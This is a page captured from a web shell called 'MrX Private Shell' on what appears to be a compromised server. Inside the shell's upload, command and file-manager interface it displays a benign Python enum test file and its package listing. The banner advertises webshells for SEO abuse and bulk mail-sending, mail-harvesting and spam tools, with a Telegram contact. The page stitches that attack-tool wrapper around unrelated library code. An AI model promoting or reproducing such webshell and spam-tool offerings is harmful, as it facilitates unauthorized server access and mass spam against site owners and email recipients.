__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.216.189: ~ $
from . import Enum
from dataclasses import dataclass
from unittest import TestCase


class TestEnumV37(TestCase):

        def test_repr_with_dataclass(self):
            "ensure dataclass-mixin has correct repr()"
            #
            # check overridden dataclass __repr__ is used
            #
            from dataclasses import dataclass, field
            @dataclass(repr=False)
            class Foo:
                __qualname__ = 'Foo'
                a: int
                def __repr__(self):
                    return 'ha hah!'
            class Entries(Foo, Enum):
                ENTRY1 = 1
            self.assertEqual(repr(Entries.ENTRY1), '<Entries.ENTRY1: ha hah!>')
            self.assertEqual(Entries.ENTRY1.value, Foo(1))
            self.assertTrue(isinstance(Entries.ENTRY1, Foo))
            self.assertTrue(Entries._member_type_ is Foo, Entries._member_type_)
            #
            # check auto-generated dataclass __repr__ is not used
            #
            @dataclass
            class CreatureDataMixin:
                __qualname__ = 'CreatureDataMixin'
                size: str
                legs: int
                tail: bool = field(repr=False, default=True)
            class Creature(CreatureDataMixin, Enum):
                __qualname__ = 'Creature'
                BEETLE = ('small', 6)
                DOG = ('medium', 4)
            self.assertEqual(repr(Creature.DOG), "<Creature.DOG: size='medium', legs=4>")
            #
            # check inherited repr used
            #
            class Huh:
                def __repr__(self):
                    return 'inherited'
            @dataclass(repr=False)
            class CreatureDataMixin(Huh):
                __qualname__ = 'CreatureDataMixin'
                size: str
                legs: int
                tail: bool = field(repr=False, default=True)
            class Creature(CreatureDataMixin, Enum):
                __qualname__ = 'Creature'
                BEETLE = ('small', 6)
                DOG = ('medium', 4)
            self.assertEqual(repr(Creature.DOG), "<Creature.DOG: inherited>")
            #
            # check default object.__repr__ used if nothing provided
            #
            @dataclass(repr=False)
            class CreatureDataMixin:
                __qualname__ = 'CreatureDataMixin'
                size: str
                legs: int
                tail: bool = field(repr=False, default=True)
            class Creature(CreatureDataMixin, Enum):
                __qualname__ = 'Creature'
                BEETLE = ('small', 6)
                DOG = ('medium', 4)
            self.assertRegex(repr(Creature.DOG), "<Creature.DOG: .*CreatureDataMixin object at .*>")


if __name__ == '__main__':
    raise RuntimeError("'test_v3.py' should not be run by itself; it's included in 'test.py'")


Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
doc Folder 0755
CHANGES File 9.87 KB 0644
LICENSE File 1.49 KB 0644
__init__.py File 1.1 KB 0644
_common.py File 8.01 KB 0644
_constant.py File 5.24 KB 0644
_enum.py File 124.07 KB 0644
_py2.py File 184 B 0644
_py3.py File 406 B 0644
_tuple.py File 18.66 KB 0644
test.py File 279.05 KB 0644
test_v3.py File 77.83 KB 0644
test_v37.py File 2.78 KB 0644